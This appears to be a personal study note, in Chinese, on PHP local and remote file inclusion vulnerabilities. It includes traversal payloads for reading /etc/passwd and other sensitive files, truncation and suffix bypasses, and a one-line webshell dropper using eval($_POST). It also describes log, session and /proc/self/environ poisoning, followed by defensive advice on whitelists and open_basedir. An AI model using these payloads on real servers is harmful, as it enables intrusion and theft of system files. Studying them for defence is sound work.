? 以下仅做个人记录,没图,不具参考性。
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件是什么类型。
漏洞产生的前提
- 采用会出现问题的相关函数,且文件路径以参数形式传入
- 参数可控
- 已知绝对路径
前置知识
函数
可以造成文件包含的一些函数:
功能都是包括并运行指定文件,但也存在一些差异。
include()
require()
require_once()
include_once()
配置选项
-
allow_url_fopen:允许打开url文件,默认on。 -
allow_url_include:允许引用url文件,默认off。 -
magic_quotes_gpc:post、get、cookie过来的数据增加转义字符“\”,对POST、__GET以及进行数据库操作的sql进行转义处理,低版本默认on(php version <= 5.3.0);PHP6中删除了该选项,这意味着一切编程在off下进行。
常见的敏感路径
-
Windows C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存储 windows 系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件
-
UNIX/Linux /etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu系统的默认路径
-
日志默认路径 ? (1)apache+Linux 日志默认路径 /etc/httpd/logs/access_log
/var/log/httpd/access_log
? (2)apache+win2003 日志默认路径 D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
? (3)IIS6.0+win2003 默认日志文件 C:\WINDOWS\system32\Logfiles
? (4)IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles
? (5)nginx 日志文件 日志文件在用户安装目录 logs 目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
-
web中间件默认配置 ? (1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd
? (2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
? (3) IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config
本地文件包含
利用此漏洞可以查看系统内任意文件。在一些条件下也可以达成RCE。
无限制条件
<?php
$filename = $_GET['filename'];
include($filename);
?>
存在目录遍历漏洞,直接读取文件内容。
有限制条件
读取时加后缀
<?php include($_GET['filename'] . ".html"); ?>
%00截断
前提:
- magic_quotes_gpc为off
- php version < 5.3.4
?file=../../../../../../../../../etc/passwd%00
路径长度截断
Linux需路径长度大于4096;
Windows需路径长度大于256。
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
点号截断
仅适用于Windows,长度需大于256.
?file=../../../../../../../../../boot.ini/………[…]…………
远程文件包含
? 利用远程文件包含漏洞可以直接执行任意命令。在实际渗透攻击过程中,攻击者可以在自己的Web服务器上放一个可执行的恶意文件,通过目标网站存在的远程文件包含漏洞来加载文件,从而实现执行任意命令的目的。
相比本地文件包含,它多了一个限制条件:配置选项。
对此漏洞毫无防备的系统为如下配置:
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
无限制条件
还是这段代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
有限制条件
还是加后缀
<?php
if ($route == "share") {
require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
require_once $basePath . "/action/m_sharelink.php";
}
问号绕过
?filename=http://127.0.0.1/php.txt?
---->
?filename=http://127.0.0.1/php.txt?/action/m_share.php
#号绕过
?filename=http://127.0.0.1/php.txt%23
---->
?filename=http://127.0.0.1/php.txt%23/action/m_share.php
%20同理。
漏洞利用技巧
Webshell可用条件
与文件上传结合
例如同一系统中含有存在白名单过滤的文件上传点,可以通过文件包含绕过此过滤上传文件。
思路为先上传一个图片马
<?fputs( fopen(“shell.php” ,”w” ) ,”<?php eval($_POST[123]); ?>” )?>
然后通过文件包含漏洞点对此图片路径进行访问
?filename=../../../../uploads/img/a.jpg
其路径下会生成一个shell.php文件。
直接写个小马再通过文件包含点去连shell也是可以的,但不稳定。
Session文件
前提:已知session文件路径。(phpinfo或默认路径)
? 有权限访问
示例代码
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
默认路径为
/var/lib/php/session/sess_sessionid
/tmp/
/var/lib/php/session/等
session_id可以从控制台获取。
session文件内容为序列化存储。当传参设为小马,存储内容则为
username|s:18:"<?php phpinfo();?>";
此时再去文件包含。
日志文件
前提:
以Apache为例,服务器会将普通请求写入access.log,错误请求写入error.log。
思路为去访问一个不存在的资源,如
/<?php phpinfo();?>
这时去查看日志发现地址被编码了。
用burp抓包,将其修改后再次发包。
可以看到php代码已被写入。
然后去通过文件包含点连shell。
临时文件
LFI临时文件RCE
/proc/self/environ文件
前提:有权限读取该文件。
这个文件存的是一些系统变量。
还是相似的
这里可控制参数是User-agent。
发起请求后参数被记录在该文件里,可进行文件包含。
利用伪协议
上面提到远程文件包含中,毫无防备的系统配置是全On的。
然后就先咕咕咕,有空再写。
防范
本部分主要从代码层和Web服务器安全配置两个方面来讲解PHP文件包含漏洞的防范。首先来从代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。一种保险的做法是采用“白名单”的方式将允许包含的文件列出来,只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。可参考下面的代码实现:
还有一种做法是将文件包含漏洞利用过程中的一些特殊字符定义在黑名单中,对传入的参数进行过滤,但这样有时会因为过滤不全,导致被有经验的攻击者绕过。
在Web服务器安全配置方面可以通过设定php.ini中open_basedir的值将允许包含的文件限定在某一特定目录内,这样可以有效的避免利用文件包含漏洞进行的攻击。需要注意的是,open_basedir的值是目录的前缀,因此假设设置如下值:open_basedir=/var/www/test,那么实际上以下目录都是在允许范围内的。
/var/www/test
/var/www/test123
/var/www/testabc
如果要限定一个指定的目录,需要在最后加上”/“,这一点需要特别注意。
open_basedir=/var/www/test/
如果有多个目录,在Windows下目录间用分号隔开,在Linux下面则用冒号隔开。
参考:
https://www.cnblogs.com/52php/p/6087317.html
|